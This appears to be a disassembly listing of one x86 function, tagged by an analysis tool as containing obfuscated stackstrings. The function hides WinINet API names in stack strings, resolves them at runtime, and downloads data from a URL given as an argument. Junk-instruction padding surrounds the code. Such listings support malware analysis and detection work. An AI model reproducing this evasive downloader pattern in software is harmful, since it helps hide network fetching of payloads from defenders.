Function at 0x10002f97
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, esi
mov edx, edx
nop
mov ebx, ebx
mov ecx, ecx
mov eax, eax
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
xor ebx, ebx
cmp dword [0x100063c0], ebx
je 0x10002fee
cmp dword [0x100063c4], ebx
je 0x10002fee
cmp dword [0x100063c8], ebx
je 0x10002fee
cmp dword [0x100063cc], ebx
jne 0x1000318a
mov dword [ebp - 0x1c], 0x696e6977
mov dword [ebp - 0x18], 0x2e74656e
mov dword [ebp - 0x14], 0x6c6c64
mov dword [ebp - 0x10], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, esi
mov edx, edx
nop
mov ebx, ebx
mov ecx, ecx
mov eax, eax
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
and dword [ebp - 0x5c], 0
mov dword [ebp - 0x70], 0x65746e49
mov dword [ebp - 0x6c], 0x74656e72
mov dword [ebp - 0x68], 0x736f6c43
mov dword [ebp - 0x64], 0x6e614865
mov dword [ebp - 0x60], 0x656c64
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, esi
mov edx, edx
nop
mov ebx, ebx
mov ecx, ecx
mov eax, eax
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
and dword [ebp - 0x48], 0
mov dword [ebp - 0x58], 0x65746e49
mov dword [ebp - 0x54], 0x74656e72
mov dword [ebp - 0x50], 0x6e65704f
mov dword [ebp - 0x4c], 0x41
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, esi
mov edx, edx
nop
mov ebx, ebx
mov ecx, ecx
mov eax, eax
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
and dword [ebp - 0x20], 0
mov dword [ebp - 0x30], 0x65746e49
mov dword [ebp - 0x2c], 0x74656e72
mov dword [ebp - 0x28], 0x6e65704f
mov dword [ebp - 0x24], 0x416c7255
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, esi
mov edx, edx
nop
mov ebx, ebx
mov ecx, ecx
mov eax, eax
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
and dword [ebp - 0x34], 0
mov dword [ebp - 0x44], 0x65746e49
mov dword [ebp - 0x40], 0x74656e72
mov dword [ebp - 0x3c], 0x64616552
mov dword [ebp - 0x38], 0x656c6946
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, esi
mov edx, edx
nop
mov ebx, ebx
mov ecx, ecx
mov eax, eax
nop
nop
nop
nop
nop
nop
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
nop
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x70]
push eax
push edi
call esi
mov dword [0x100063c0], eax
lea eax, [ebp - 0x58]
push eax
push edi
call esi
mov dword [0x100063c4], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [0x100063c8], eax
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [0x100063cc], eax
xor ebx, ebx
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x100063c4]
cmp eax, ebx
mov dword [ebp - 0x74], eax
je 0x10003267
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x100063c8]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x1000325e
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x100063cc]
test eax, eax
je 0x1000324c
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x10003248
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x10003214
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x10003248
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x100063cc]
test eax, eax
jne 0x100031ee
cmp edi, ebx
ja 0x10003258
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x1000325e
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x100063c0]
push dword [ebp - 0x74]
call dword [0x100063c0]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret